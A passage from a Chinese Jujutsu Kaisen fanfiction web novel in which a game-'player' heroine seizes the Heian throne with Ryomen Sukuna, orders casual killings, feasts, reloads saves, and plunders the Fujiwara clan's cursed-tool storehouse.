今野桃说着很简单的道理:“听从我的,我就扶他上青云;忤逆我的,我就送他下地狱。父亲大人,你快点决定吧,我的耐心不多了。” 她不想分心思去处理叛乱,所以天皇最好听话一些。 但他还在作最后的挣扎:“桃姬,你这样会毁了这个 国家!” 今野桃和两面宿傩都笑了起来。 “神经,我又不是来建设美好社会的。”她拉长了声音,无语地说道,“我是来享受生活的呀。” 这个没有一点乐趣的世界,如果不做天皇,还有什么意思呢。 “我只需要他们服侍好我。”今野桃意有所指地对两面宿傩道,“你说对吧?” 两面宿傩懒散地笼着袖子回答:“啊对对对。” 天皇无力地瘫软,仿佛看见了两个恶鬼…… 今野桃行动力超绝,一拿到禅位的诏书就迫不及待地召集了众多官员。至于没来的?那就不好意思了,没资格分蛋糕。 但来了的也不一定就非常幸运。 “你是说……天皇陛下要把皇位传给你?”左右大臣都不敢相信,“姬君请勿开玩笑了,陛下怎么可能做出这种决定!” “他不这样做决定不行啊。”今野桃张口就来,“父亲大人生病的时候,几个哥哥和姐姐趁机发动叛乱想要刺杀父亲,结果他们彼此攻击,最后全都死了。父亲大人气得起不来床,所以才决定把皇位传给我。” 沉默。 死一样的沉默。 有人悄悄咽了口口水,身上开始冒汗。 那么多皇子皇女,全都死了?! “还有什么疑问吗?”今野桃面带微笑地问道,“我们可以好好聊聊。” 两面宿傩无趣地打了个哈欠。 “我不同意!” 太政大臣站了出来,出身藤原氏的他决不能容忍这种可笑的事情出现…… 咻—— 有什么东西破开空气,以一种肉眼无法捕捉到的速度袭向太政大臣,下一秒,一颗人头滚落在地。 鲜血飙射出来,淋了旁边的大纳言一身,他的表情呆滞,已经忘了该作何反应。 噗通。 有人腿软了。 “哎呀,你干什么啊,宿傩!”今野桃惊呼,“你好没素质啊,随地大小杀!” “抱歉,看不顺眼。”两面宿傩没什么诚意地道歉。 “真是,太不让打扫卫生的侍从们省心了。”今野桃无奈摇头,又对臣子们说道,“我刚刚没听清,你们说什么来着?” 天皇死忠到底是少,尤其是上一任天皇也就比吉祥物稍好一点,没什么建树,谁愿意生死追随这样的君主呢。 有人上前一步,俯身跪拜高呼:“陛下!” 今野桃大手一挥:“很好,从现在起,你就是太政大臣了。朝中大小事,你看着办吧,别来吵我。” 出身橘氏的男人欣喜若狂,一步登天不过如此。 “多谢陛下!” 后面有人跟着跪下,一场皇位的交替就此结束。说到底,这也是天皇的“家务事”。如果登位的是其他家族,那又是另外一回事了。 往前数百年,坐在这个至高位置上的古怪天皇可有太多了。有拔掉农夫指甲强迫农民挖地的,有为了好奇将孕妇肚子剖开的,有智力低下连话都不会说的…… 不过是杀了几个反对她的乱臣贼子,这对于政变来说也是稀松平常吧。再说了,这位天皇陛下放权是真大方啊,人看着也不像是嗜杀残忍的。 在心里不断说服自己,大臣们逐渐变得恭顺起来。 总算处理掉了麻烦,今野桃满意地朝两面宿傩招了招手。 “走吧,我们去吃晚餐。” 所有人就这样看着宛如小山一样的怪物乖乖地跟在了新任天皇的身后,两人连侍从都没带,自顾自地去找厨房了。 “连怪物都能驯服……不愧是天皇陛下!”。 “要选用只有几个月龄的小羊羔,挑出最嫩的肋排部分,提前用香料腌制……”今野桃指点道,“你要学会灵活运用你的咒术呀,冰块可以让羊肉变得更嫩。” 里梅一言不发地照做。 “没错,慢一点,别一下把羊肉冻住了。” 两面宿傩不满地啧了一声:“那是我的手下,不是你的。” 今野桃下巴一抬:“什么你的我的,你都是我的手下,你的手下当然也是我的手下。” 里梅默不作声地看向两面宿傩,希望他能为自己发声。 结果两面宿傩咂吧了两下嘴,不说话了。 好的,他懂了。他又多了一个老大是吗。 今野桃甩出了一本菜谱,叫来厨房的所有厨子说道:“明天早上我要吃一荤两素搭配主食小菜,你们看着上。做得好有赏,做不好就去死。” 厨子们战战兢兢地跪下,原本惶恐的表情在翻看了菜谱后变得红光满面。 “这、这这!”他们激动地传阅着菜谱,“这本书实在是精妙绝伦!” 那可不,这年头的人大多敝帚自珍,有什么东西都藏着掖着。而这本菜谱上将许多珍馐美味的做法都写得清清楚楚,对这个时代的厨艺堪称降维打击。只要学到几道菜,就够厨子受用终身,甚至以此传家。 然而因为它不是和咒术相关的物品,所以在商城卖价相当低。 今野桃血赚。 两个小时后,他们吃到了一顿丰盛而美味的晚餐。 以九族发誓,这绝对是厨子们最好的手艺。刚出炉的烤羊排表面泛着诱人的琥珀色的光泽,那是被蜂蜜腌过后留下的痕迹。孜然和辣椒在高温烘烤后散发出独特的辛香味,混合着肉香,在密闭的室内极具冲击力。 只是闻到,就已经让人忍不住狂咽口水了。 两面宿傩埋头苦吃,甚至来不及点评。 今野桃满足地喟叹:想要在这个时代吃到这一口,可真是太不容易了。 跟着宿傩混,三天饿九顿。 厨子们是没有资格上桌的,他们拿着边角料,幸福地躲起来品尝。今野桃和两面宿傩把所有烤肉都炫光了,最后用水果来溜缝。 这年头,水果也是奢侈品,尤其是甜味水果。 今野桃吃得心满意足,整个人由内到外地散发出一股懒劲儿。 她往矮榻上一靠,开口道:“所以说,人肉哪里有羊肉、牛肉、鹿肉、兔肉好吃,只有没吃过细糠的山猪才会去吃人肉。” 又被骂了的两面宿傩瞥了她一眼,吃饱喝足的女人脸上浮现着幸福的红晕,眼睛半眯,纯然是一副娇养的模样。 他的眸光闪了闪,声音低沉地说道:“吃人并非享受,只是活下去的手段罢了。” “哦?是吗。”今野桃不咸不淡地回道。 两面宿傩支着脖子,似是回忆般说道:“自我还在母亲肚子里时,我就知道,想要活下去就必须吞噬一切能让自己活着的东西。所以我吃掉了自己的兄弟,让他成为了我的一部分。” 对这个年代的普通人来说,双胎并非好事。一个孩子都难以养活,更何况两个。如果不能狠心舍弃其中之一,结果很有可能就是两个都活不下去。 “可惜,把我生下来后,她看见我是个畸形儿,还是将我扔掉了。”两面宿傩遗憾地说道。 四手四眼的怪物,被所有人畏惧。 偏远乡村的普通农人,胆子太小。明明都将他丢掉了,却又不敢真的下手将他扼死,因为那一点微不可见的善意,让他活了下来。 “我渴了就喝雨水、河水,饿了就捡动物的尸体,竟然也能活着。有时候会想,到底因为我是怪物所以才被抛弃,还是因为被抛弃了,所以才会变成怪物。” 两面宿傩微微侧头,露出完美的下颌线。 一分钟过去了,五分钟过去了。 “喂,你这家伙,不会睡着了吧?”他不满地喊道。 今野桃惊醒似的弹了一下,然后又慢慢躺平。 “啊抱歉,因为很无聊所以走神了。” 她平静的语气让两面宿傩哽住。 “不过你刚刚是在卖惨吗?”今野桃揉了揉因为打哈欠而泛红的眼眶说道,“应该是 苦肉计吧?” “……”两面宿傩咬牙切齿地说道,“我是说真的。” “嗯嗯。”今野桃胡乱点头,“你要是闲着没事干,就去厨房把明天要用的牛给杀了,再把它切成一块一块。” 两面宿傩冷笑一声,倒在柔软的榻上,也开始闭目养神。 今野桃从桌上摆着的盘子里摸出一枚李子,扔向了两面宿傩。两面宿傩看都没看一眼,伸手就接住了。 “别想着洗白啊。”她悠悠说道,“没听过这个道理吗,黑化强十倍,洗白弱三分。” 什么乱七八糟的道理。 两面宿傩咬了一口李子,柔软又甜蜜。 “其实我很喜欢你。”迎着两面宿傩“听你鬼扯”的目光,今野桃张嘴说道,“你把平安京里的咒术师们干掉之后,我本来就打算动手的。但是我一听要去接你,就赶紧加入队伍了。怎么样,是不是很感动?” “是啊,很感动。”两面宿傩没有感情地回道。 早知道平安京有她,他连夜扛着里梅就跑了。 “宿傩,你要知道你的魅力所在。”今野桃振振有词地说道。 “我的魅力?”两面宿傩戏谑地笑道,“我在你眼里竟然还有魅力吗?” “当然啦。”今野桃翻了个身,下巴搁在手臂上,圆圆的眼睛望向他,“就是那种,属于坏人的魅力。” 两面宿傩不置可否。那双总是盈满了危险的红色瞳孔锁定着她的身影,像是时刻准备着咬断猎物的兽瞳。 “坏人最大的魅力,就是强度。”今野桃浑不在意地说道,“从出场就强,强到结束,不管是武力还是智力。” 更何况,他真的会对自己那段可悲的身世耿耿于怀吗? “那如果我不强呢?”两面宿傩好奇地问道。 “那你就是个笑话。”今野桃不假思索地说道。 两面宿傩竟然赞同地点头:“你说得不错。” 弱者的挣扎就像是鱼被捕捞上岸后的扑腾,明明用尽全力,在他人眼中却显得异常好笑,甚至要夸一句“很有生命力”,但最后的结果还是被吃掉。 两面宿傩眯起了眼睛,将恶意尽数藏好。 她最好也一直这样强下去,否则总有一天,也会被他彻底吃掉…… 夜深了,皎洁的月光照在半透明的障子门上,门口的树梢随风晃动,映下影影绰绰的痕迹。 装饰精致的房间里被熏过香,两面宿傩在清幽的檀香气息中安静合目。这是一种很新奇的感受,仿佛野兽披上了人皮,变得彬彬有礼。 身下的被褥软得不像话,仿佛要将躺着的人吞没。被子几乎没有一点线头,摸起来滑滑的,上面绣着暗纹。 角落里摆放的冰盆正在冒出丝丝寒气,驱散了夏日的炎热。 向来睡眠很好的两面宿傩很久都没有睡着。 他踏入了一个新的世界,尽管他并不畏惧一切挑战,但还需要一点时间调整。 哒、哒、哒…… 有规律的脚步声出现在走廊上,朝着两面宿傩的房间而来,最后停在了他的门口。 他想装作没听见,奈何…… “咚咚咚!” “咚咚咚!” “宿傩?”女人的声音在夜里格外清脆,“你睡着了吗?宿傩?” 就这个动静,尸体也会被你叫醒。 两面宿傩猛地坐起身,用力拉开房门。今野桃裹着华丽的外衣,手还高高举着。 “啊,你醒了啊。”她高兴地说道,“太好了,走吧,我们去赏花。” 两面宿傩抬头看了一眼天空,月亮稍稍向东偏移,此时已经是后半夜了。 “这个时候去赏花?我看你是脑子出问题了。”他毫不客气地说道,“哪来的花给你赏?” 漆黑一片的,都快伸手不见五指了。 “白日有白日的美景,晚上有晚上的美景啊。”今野桃拉着他的袖子,“跟我来。” 她不容拒绝,他只能亦步亦趋地跟在她的后面。 两人穿过重重回廊,走过层层宫阙,在弯腰进入一扇拱门之后,仿佛拨云见日,眼前忽地就亮了起来。 橘色的灯火从远到近,从高到低,井然有序地散发着熠熠光辉。它们比天上的星星更加耀眼,照亮了大半片湖泊。 侍从们隐于暗处,小心看顾着烛火,安静地像一道影子,不敢打扰贵人的雅兴。 “这是过去的天皇仿照海对面的那个国家而建造的花园。”今野桃感慨道,“我曾听闻有一句诗叫做‘东风夜放花千树,更吹落、星如雨’,大概就是这样的景色了吧。不过那是形容烟花的,应当比此景更美。” 传统的日式园林小而紧凑,偏向内敛风格。 两面宿傩安静地听着,沉默地看着。 这是他第一次见到如此画面,叫人怀疑自己是否还在梦里。 湖边靠岸处,一艘小船正随着水波飘荡。 “上来。”今野桃跳了进去,轻盈地落在了船舱中央。 两面宿傩跟了上去,两百多斤重重落地,整艘船都晃了几下,好悬没把他们两个摔下去。 “你该减肥了!”今野桃嚷道,“差点把我的船砸沉!” “那说明你的船不好,得换一艘。”两面宿傩从来不会反思自己,只会怪罪别人。 接到信号指示,撑船的仆人将长长的船桨用力一推,小船瞬间离岸几米远,随后缓缓地游入了重重叠叠的荷花之间。 花瓣拂过,香气飘散开来。 “半夜不睡觉,就为了赏花?”两面宿傩抱着手臂,“你不觉得累吗?” 他们白日赶路,好不容易回到了平安京,又是拜访这个又是拜访那个,还顺便篡了个位,这个行程怎么看怎么都满满当当的。 她竟然还有精力半夜赏花? “累?哪里累了。”今野桃只觉得精力充沛得很,甚至非常兴奋,“你第一天当上皇帝,你也不觉得累。” ……这似乎也有几分道理。 两面宿傩神色古怪,看着她在船上早已准备好的软垫上半躺下,旁边的小桌上摆着一个酒壶并两个杯子。 她悠然自得地给自己倒了一杯,享受地一口饮尽。 两面宿傩也就不客气地坐在了她的对面,也给自己倒了杯酒。 喝到嘴里,才发现味道奇特。 这是米酒,入口甜润柔和,隐约带着一丝发酵后的酸涩,但又被加入的桂花香气覆盖住了,使得口感的层次更加丰富。 可惜度数太低,喝不醉人。 “醉酒又吹风,是生怕自己不会病吗?”今野桃惫懒地靠着船边说道,“重点是放松,懂吗,要放松。” 野生动物行走于山林之间,需时刻保持警惕。 但家养的不用,主人会为它打理好一切。 两面宿傩轻哼一声,一点一点抿着酒液。极擅长使用反转术式的他,本来也不会因为喝酒而醉倒。 小船晃啊晃,晃得睡意又涌了上来。 两面宿傩看见对面女人的两颊泛起了酡红,目光也变得迷蒙。 是喝醉了吗? 她靠着垫子翻来翻去,似是很不满意。倏然,她站了起来,脚步有点凌乱地朝两面宿傩扑了过去。 犹豫了一秒钟,两面宿傩没有躲开。 唉,他还是心善,绝不是因为怕她掉下池塘后恼羞成怒打他一顿。 两面宿傩调整了一下姿势,不让两人都摔下水中。 柔软的肌肉自带恒温效果,比垫子舒服多了,非常适合倚靠。 她心满意足地躺在了两面宿傩的身上。 “你是真不客气啊。”他说道。 今野桃迷蒙地嗯了一声。 两面宿傩张开了手,他的手掌比她的脸还要大上许多,虚虚一握,好像能直接折断她的脖子。 要试试看吗?现在或许会是一个好机会。 “别逼我在最快乐的时候动手打人。”今野桃忽然开口道。 两面宿傩一哂:“我还什么都没做呢。” 没做吗? 那刚刚 她是跟鬼打了一架。打得两人都狼狈不堪,湿漉漉像只落汤鸡。 幸好她读档了,这一次她绝对要先下手为强! “喂,你不讲道理啊。”两面宿傩侧过头,躲开了她的拳头。 只听咚地一声,船沿上出现了一个洞,木屑纷纷掉下,落在了衣服上。那片白净细腻的手背上,纤毫不染。 “你来真的?”两面宿傩扯了扯嘴角,“行了行了,我认输。” 机会转瞬即逝,还是等下次吧。 “别辜负了这片良辰好景。”他假惺惺地说道,“不是你叫我来赏花的吗?” “都怪你啊,让我现在没心情赏花了。”今野桃毫不犹豫地将锅扣在了两面宿傩的头上。她指挥仆人将船划向岸边,然后朝两面宿傩伸出了手,“抱我回去。” 身体高大就是好,风都能挡住更多。 今野桃舒舒服服地窝在他的怀里,临走时忽然想到了什么,趴在他的肩膀上对旁边的人说道:“传令下去,今晚侍奉的人俸禄翻倍。” “是。” 两面宿傩两只手抱她,两只手揣在兜里。 这个女人固然骄纵,对自己人却也大方。 她用披风裹住自己,抹去眼角沁出的泪珠,含糊地说道:“天气这么热,得建个行宫避暑了。” 她的音量渐渐压低,很快就只剩下均匀的呼吸声。 两面宿傩抱着她回到了天皇寝宫,这里可比他自己睡的偏殿大多了,摆放的内饰也完全不是一个档次的。 两面宿傩二话不说,占据了榻榻米的另一半。 不错,这被子比他那边的更舒服。 今野桃看起来像是睡熟了,被塞进被子里的时候也没睁开眼。两面宿傩的手又痒痒了,但最终还是忍住。 他有预感,这一次还是不会成功的。她似乎对杀气有特殊的感应,只是极细微的一丝都能将她惊醒。 不过…… 两面宿傩放缓了呼吸,一点一点地靠近。他咧开嘴,露出了锋利的牙齿。 收取一点点利息,不过分吧?。 今野桃不喜欢睡觉的时候有人进进出出,所以冰盆里的冰块融化后,没有侍从进来添加。 很快,她就被热醒了。 汗水打湿了她的额发,脖子上还有点又痛又痒的感觉。 是没关窗户的原因吗?早知道就一直开着“无下限”了。 不开是因为一方面出了什么意外她可以读档,另一方面,今野桃也确实不太习惯这个技能。她连“六眼”都还在适应期,幸好商城有配套道具,可以降低“六眼”带来的副作用。 她需要多加练习,争取让这个技能变成“被动”。 天皇都醒了,其他人自然也得醒。 今野桃一个命令下去,所有人都得跟着她动起来。昨天情况紧急,很多事情都没有仔细处理,蛋糕划分得太粗糙。今天,是时候争夺每一分利益了。 一朝天子一朝臣,新任天皇上位,自然有人要下去,有人要上来。从前押宝其他皇子的算是满盘皆输,而追随着新任天皇的橘氏和平氏笑得嘴巴都合不拢了。 但吵得再凶,朝堂之上,昨天死去的藤原氏留下的血腥气好像还没有完全散去,这让臣子们不敢太过失态。 今野桃一边吃着膳房送来的点心,一边换了个姿势坐着。她的坐姿是怎么舒服怎么来,衣服并不十分板正,显得有几分不羁。 有人的目光微微一凝,又赶紧挪开了。 很快,又有几个臣子偷偷觑了两眼她。 今野桃:?? 她掏出了镜子。 “两面宿傩!!” 她旋身冲向正在走神的两面宿傩,一拳打向他的腹部。 呃,陛下,你这样打是打不死人的……嚯!两面宿傩吐血了!两面宿傩还手了!两面宿傩倒下了! 臣子们目瞪口呆,瑟瑟发抖。 不是,陛下,你当真用武力收服了两面宿傩啊! 外面有两个流言,一个说两面宿傩为爱投降,对新任天皇一见钟情;一个说他是被新任天皇揍怕了、揍服了。 他们一直以为前面那个是真的,后面那个是为了给天皇陛下脸上贴金呢。 谁知道,原来后面那个才是真的啊……那他们原本计划好要献上去的美男,还献不献呢? “你是狗吗?两面宿傩!” “哦,忘了你不会反转术式了。”两面宿傩一抹嘴角上的血痕,嘲笑道,“要我教教你吗?” 教个屁!她是不会吗?她是想省钱!能读档解决的问题为什么要再多花一笔钱! 不行,现在就算买了反转术式,玩家的笑话也都被看光了!玩家怎么能落入下风! “你等着被我收拾吧!”今野桃放下狠话,读档回到了夜晚。 在尖利的牙齿碰到她的刹那,两根手指猛地捅进了他的口中。 “看我发现了什么,一只想要咬人的狗?”今野桃的手指夹住了那条又湿又滑的舌头,个子大的人哪里都会大一些,连舌头也不例外。 手指在口中搅动,却因为“无下限”而没办法咬住。 迎着两面宿傩暗含火光的目光,今野桃狞笑道:“我最喜欢教育狗狗了。” 第26章 朝堂之上,臣子们终于激烈争吵完毕,把空出来的利益全都瓜分。他们的脸上洋溢着笑容,对新任天皇毕恭毕敬。 今野桃并不在意他们如何吵闹,反正人死万事休,谁让她不高兴了,她就把谁送下去。 至于这个国家会不会动荡……她才不管呢。 分得最多蛋糕的橘氏自以为和天皇陛下关系最亲近,于是大着胆子问道:“陛下,那位宿傩大人,为何没有出现呢?” 是厌弃了陛下?还是被陛下降服了? “你说宿傩啊?”今野桃抿了一口茶水,不以为意地回道:“他还在睡觉,昨天晚上没休息好。” 嘶。 臣子们暗暗吸了一口气。同时又有些失望,传说中的“诅咒之王”,竟然是如此外强中干之人吗?不过这样也好,他们的机会也来了。 好不容易结束了早会,今野桃正要去看看自己的“小狗”,半路上又有人截住了她。 是上一任天皇的皇后,但并非她的生母。 今野桃这周目的母亲虽然出身藤原氏,但只是一个并不引人注目的庶女,因为略有几分姿色而被送入天皇后宫为皇后固宠。可惜她的性子胆小懦弱,在博得天皇一段时间的喜爱后,很快就销声匿迹了,死前留下了一个女儿。 天皇不缺孩子,这个女孩勉强靠着母亲的薄面,依赖着藤原的姓氏,在后宫中活了下来。 这一次政变,今野桃重点杀了皇子和排在她前面的公主,比她小的公主都活着,后宫中的女人也都还活着,甚至连开支也没削减。 今野桃看见皇后,她还是那样风姿绰约。 “叫我来有什么事吗?”她直白地问道。 皇后攥紧了手中的扇子,低声说道:“你可还记得你是藤原家的孩子。” “记得啊,不然我早把所有姓藤原的官员清退了。”今野桃无聊地回道,“快说吧,到底有什么事,我还想回去补觉呢。” 皇后沉默良久,说道:“被你杀死的那位是藤原家的家主。他既然已死,你与藤原氏的仇怨能否放下呢?橘氏和平氏到底与你并无血缘关系,如何能保证他们会一直站在你身后?” “无所谓,橘氏和平氏不行,还有源氏,除此之外,还有数不清的小家族想要为我效力,我抬抬手,就能让他们拥有和藤原氏一样的地位。” 今野桃的话让皇后的眉头紧皱,她知道,眼前这位新天皇并非是在开玩笑。 于是她软 下了强硬的语气,柔声说道:“藤原氏已然知错,该如何做才能让陛下再次垂怜呢?” 早这样不就好了? 今野桃沉吟道:“那就得让我看看藤原氏的诚意了。” 保守估计,她能当个三四十年皇帝。三四十年不出现在朝堂,藤原氏就要废了。 皇后低下头:“我知道了。” 她的眼睛下面也有一层青紫,想来昨天晚上也没睡好。不过两天时间,形式就发生了翻天覆地的变化,打得他们措手不及。 唉,早知道……早知道当初就多看顾几分这位小公主了。 可惜往事不可追,皇后只能向前看。 “陛下武运昌隆,但对自己的血脉还是不甚了解。”皇后看着她莹蓝色的眼睛,娓娓说道,“藤原氏愿大开忌库,扫榻相迎,以答陛下之疑。” 哦对,藤原氏和后来的五条家还有一段纠缠的历史往事。 根据血脉往上追溯,五条家的祖先应该是菅原道真。菅原道真是日本平安时期顶级的神道传人和学者,权势一度达到只手遮天的程度。这让原本的第一家族藤原氏感到了不安,于是决定除掉他。 很快,菅原道真因被诬陷帮助亲王篡位而判处流放,并死在了流放地,子女也一并受难。怀着滔天怨恨,他死后化为了特级咒灵,并回到了平安京报复。 那些诬陷菅原道真的人基本都死光了,包括一位皇子,和藤原氏的嫡支。幸好藤原忠平、也就是罪魁祸首藤原时平的弟弟,和菅原道真关系亲近友好,最后成功降服了菅原道真,并将他接进了藤原氏供奉,希望能消除他的执念。 藤原氏现在保存的关于菅原道真的典籍搞不好比菅原氏中的还要详细,而五条家族不过是菅原氏的一条分支。 菅原道真如今死了一两百年,早已成佛归天,这段说不清道不明的爱恨纠葛最终也成为了一段历史。 “行,那我去看看。”今野桃一口应下。 至于去了之后,是“看看”,还是“拿走”,那当然是她说了算。 皇后似是松了一口气,对她行了个大礼:“多谢陛下。” 今野桃一边往寝宫的方向走,一边美滋滋地想,也不知道藤原家里有多少好东西,这不得大搬特搬。 还是做皇帝好,普天之下莫非王土啊。可惜到了现代社会,皇帝就变成一个摆设了…… 嗯?好像也不是不行。咒术界那么封闭,连个执法机构都没有,正缺少一个皇帝统一管理啊! 今野桃觉得自己的这个想法很不错。 哗啦—— 大门被拉开,她三步并作两步地跑到了床榻前,一个硕大的、圆鼓鼓的东西正团在上面。 “醒醒,别睡了,都这么晚了。”她用力摇晃着圆球。 圆球蠕动了两下,慢慢掀开了真面目。 两面宿傩臭着一张脸,骂骂咧咧地说道:“你又有什么事?” “好事,让你跟我一起去抄藤原氏的家!” 金银珠宝易得,但里世界的咒具、秘籍等等东西少见,天皇宝库都不一定有藤原氏的仓库藏得多。 两面宿傩虽然实力出众,但还少趁手的武器,闻言也来了兴趣。 “什么时候去?” “当然是吃了午饭去。”今野桃理直气壮地说道,“藤原家的饭可没有皇宫的饭好吃。” 她一点都不想吃腌鱼!也不想吃一桌看起来丰盛、仔细悄悄都是小菜开会的宴席! 两面宿傩艰难地爬了起来,今野桃还在说着风凉话:“差不多得了,这么大个子,哪有那么娇弱。你不是还有反转术式吗?” 两面宿傩顿住,四只眼睛都看向了她,皮笑肉不笑地开口道:“如果陛下能好心给我留一些咒力,那我当然能使用反转术式。” 他裸露在外面的胸口、脖子上全是红色的、紫色的痕迹,勉强能分辨出压印和指印。 今野桃别过脸,吹了两声口哨。 “谁让你反抗了,你越反抗那我不得越兴奋?”她振振有词地说道。 差点还把她的床给震塌了。 “哈。”两面宿傩短促地笑了一声,“真是好笑,明明是你没控制住力气。装出一副身经百战的模样,我还真的以为你有那个本事。” 如果昨天晚上不是他,换做普通男人,恐怕会死在她的床上。 今野桃移开视线,心中有点发虚,嘴上还说着:“哦?难道你经验丰富?” 两面宿傩也沉默了。 那种事情有什么好做的,没意思得很。有那个时间,他不如去多找几个有趣的对手打架。 “再说了,我们也没做什么吧?”今野桃嘴硬道。 他们根本就没做到最后啊,就是教育了一下不听话的狗狗罢了。 至少……在两面宿傩的好感值升到60之前,她是不会考虑跟他真的睡觉的! 太刺激了!时刻都在担心自己会被偷袭!万一正爽的时候被一个黑虎掏心,她这辈子都会有阴影的啊! “行了行了,没什么好比的。快起床吃饭,今天中午吃烤海鲜。” 比手臂还长的琴虾(皮皮虾)、鳌虾,还有鲜活的海胆,刚刚撬开的生蚝和扇贝只需要加一点蒜蓉,烤出来就很香了。 成为皇帝后的三顿饭,今野桃都非常满意。 两人吃得不亦乐乎,因为是分餐制,最后今野桃吃饱时,两面宿傩还没吃饱。 “不会吧,跟了你连饭都吃不饱?”他挑剔地说道。 呵呵,跟了你才叫可怕,吃的饭里面还有米糠。 今野桃一挥手,叫来了厨子。 厨子颤颤巍巍地进来跪下,以为自己小命不保了。 “做得不错,赏。”她赐下了一袋金子。 厨子大喜过望,连连叩首,表示实在是时间紧迫,食材不足,不然他能做得更好。这年头可没有什么保护动物的说法,再加上还有咒术师的存在,只要天皇陛下开口,什么东西他们都能想办法弄来。 山珍海味,应有尽有。这才叫以一国之力奉养一人。 “好好钻研厨艺,以后自然不会亏待你。”今野桃打了个饱嗝,说道,“我可不是什么小气的人。” 她让两面宿傩自己去膳房,想吃什么就吃什么。 “动作快点,我们还要去抢劫,啊不是,还要去观赏一下藤原氏的库房呢。” 两面宿傩挑眉,不情不愿地走了。 厨房里,一个熟悉的身影正在忙碌。他最看重的手下、他最好用的冰箱,里梅,正在对着一条半米长的鱼发呆。 看见两面宿傩,他低头行礼。 “宿傩大人。” “是里梅啊。”两面宿傩拢着袖子,在厨房里转来转去。看起来好吃的东西还挺多,他开口道,“我饿了。” 里梅是很懂他的,也很了解他的口味,相信他一定能拿出让他满意的料理。 里梅深深看着自己的老大,目光掠过他露在外面的皮肤,一脸深思,随后恍然大悟。 他端了个盘子送到两面宿傩的手中:“宿傩大人,请用。” 只见盘子上赫然摆放着满满当当的处理过的新鲜生蚝,每一个都肥美极了。 两面宿傩:“……” 感觉这个手下不能要了…… 两面宿傩拉着一张脸回来,让今野桃想起曾经在网上见过的臭脸猫猫图片。 “怎么了,厨房没有你想吃的东西?”今野桃随口问道。 两面宿傩没回答,靠近他的时候,她闻到了一股淡淡的海鲜气息。 这不是吃得挺好的吗。 今野桃把这点小事抛到了脑后。她现在有更要紧的事情需要处理。 “不是,这轿子是用来关猫的吧。”今野桃被狭窄的轿子给气笑了,目测这个轿子的长宽高只有一米不到。今野桃身高一米六五,想钻进去得把自己团成一个球。 这个时候,今野桃才恍然发现,周围的人好像是有点矮。这年头的平均身高估计就是一米四左右,她在其中已经算是高的了。 前任天皇身高应该就是一米五多。 “拆了,给我重做。”今野桃不耐烦地说道。 “陛 下,这恐怕需要一些时间……“侍从惶恐地说道。 “现在就做。”今野桃不容置疑地说道,“以后别给我把东西做得这样小家子气,不知道的人还以为这是个箱子呢。” “是、是……”侍从连声应道。 旁边有近侍小声开口:“陛下,藤原氏那边等候已久,我们还是快些出发吧。” 今野桃淡漠地斜了一眼,两面宿傩勾起唇,只听尖锐的风声响起,下一秒,近侍的头颅滚落在地。 早有准备的今野桃开着“无下限”,纤毫不染。 极度的恐惧下,没有人敢发出一丝声音。 “真是的,要分清楚谁才是主人啊。”今野桃叹息道,“来人,去把马车拉来。” 低级的试探,让人觉得可笑至极。 明明换个出行方式就可以解决问题,偏偏妄想在主人头上指手画脚。 “下次再想故意把血溅我身上,你也得挨揍。”今野桃瞪了一眼两面宿傩。 诅咒之王耸了耸肩膀,并不在意。 侍从们牵来了一架由两匹马拉着的马车,不仅能装下今野桃,连两面宿傩也能装下。 但今野桃没让两面宿傩上车,他上了车,她连脚都伸不开,再加上那三百来斤的重量,就别折磨可怜的两匹马了吧。 两面宿傩啧了一声,跟在了边上。 藤原氏不愧是一手遮天了这么久的老牌家族,房子建得又大又气派。看见属于天皇的马车,都恭敬地低头行礼。 想必侍从的死已经警告过他们了,不要想着玩弄一些小花招。 毕竟命是真的只有一条啊。 “陛下亲临,实在是蓬荜生辉。”一个中年男人上前一步,想要伸手扶一下。奈何两面宿傩像一堵墙似的站在那里一动不动,没有给他留出一点位置。 男人恼怒地看了一眼两面宿傩。 两面宿傩的手痒了。 但今野桃重重地拍了一下他的背,然后按住他的肩膀跳了下来。 身为刀,要听从持刀人的话,而不是擅自行动。 两面宿傩暗暗龇牙,只觉得后背好像被十头牛狠狠撞过,差点没把他锤得吐出血来。 “走吧,去看看你家库房,要看和咒术相关的。”今野桃直入主题。 男人的笑容僵住,好半天才干笑道:“好、好的。” 库房重地需要好好看守。他们穿过层层结界,来到了藤原府邸的中心位置。 路上,今野桃好奇地问道:“听闻菅原道真被藤原收服,他现在成佛了吗?” “是的,菅原大人在百前就已经成佛去了。” 伴随着家人、敌人和好友后代的死去,菅原道真的执念消散,最终还是去往了彼岸。 “到了。” 中年男人解开了封印,库房的大门显露出来。推开大门,一股阴冷之气传来。 咒力说白了还是人类的负面情绪凝聚而成的能量,这或许也是越强大的咒术师越得不到一个好下场的原因吧。 放在门口的,是一些普通的咒具,大概只有二三级的样子。一眼扫过去,今野桃和两面宿傩都没什么兴趣。 “都是些破烂啊,”今野桃拉长了声音说道,“你们就是这样敷衍我的吗?” 中年男人心中暗恨,小心赔笑道:“请陛下跟我来。” 终于走到了库房深处,这里的咒具都被精心保存,每一件都有单独的结界隔开。即便库房里灯光昏暗,但依然可以看出它们的价值不菲。 是嘛,这才是她想要的东西! 她看到!她得到! “哇哦。”今野桃啧啧赞叹,“真不错啊。” 今野桃立在一捆绳子前,对中年男人说道:“打开我看看。” “……是。”他显然很不情愿,但迫于压力还是上前打开了结界。 “这件咒具是仿照神话故事中的‘捆仙索’制造而成的,能够吸收咒力。被捆住的目标咒力越是强盛,就越是难以挣脱。” “是吗。”今野桃不咸不淡地应道。 听起来挺好用的,可以捆猫、捆狗…… 更妙的是,这根绳子还是红色的,嗯,捆起来一定会很好看吧…… 就在今野桃神思不属的时候,两面宿傩戳了戳她的手臂。 “做什么?”她扭头问道。 两面宿傩一点都没有不好意思,指着一个地方说道:“我要那个。” 今野桃顺着他的手指望过去,一点金光闪烁不定。 她走近,发现这是一把造型特殊的咒具,有点像哑铃。金属的光泽油润细腻,带着岁月的沉淀,散发出一种古朴而神秘的气息。 “这是什么?”她对中年男人说道。 中年男人可以装作没听见两面宿傩的话,却不能对天皇视若无睹。他强笑道:“这件咒具名为‘神武解’,使用它可以操控雷电,威力极其巨大。” 看它的摆放位置就知道,这一定是藤原家族的一件至宝。 “拿出来。”今野桃说道。 中年男人的心在滴血,却不得不听从她的命令。他接到的任务就是讨好这位天皇,不管她提出什么要求都必须满足。 咒具虽然难得,但如果藤原氏势弱,那么家族里的一切都将会变成他人盘子里的肉了! “神武解”在手里的份量沉甸甸的,今野桃用着不顺手,于是漫不经心地扔给了两面宿傩。 “拿着吧。” 两面宿傩接住,甩了两下,脸上露出了满意之色。 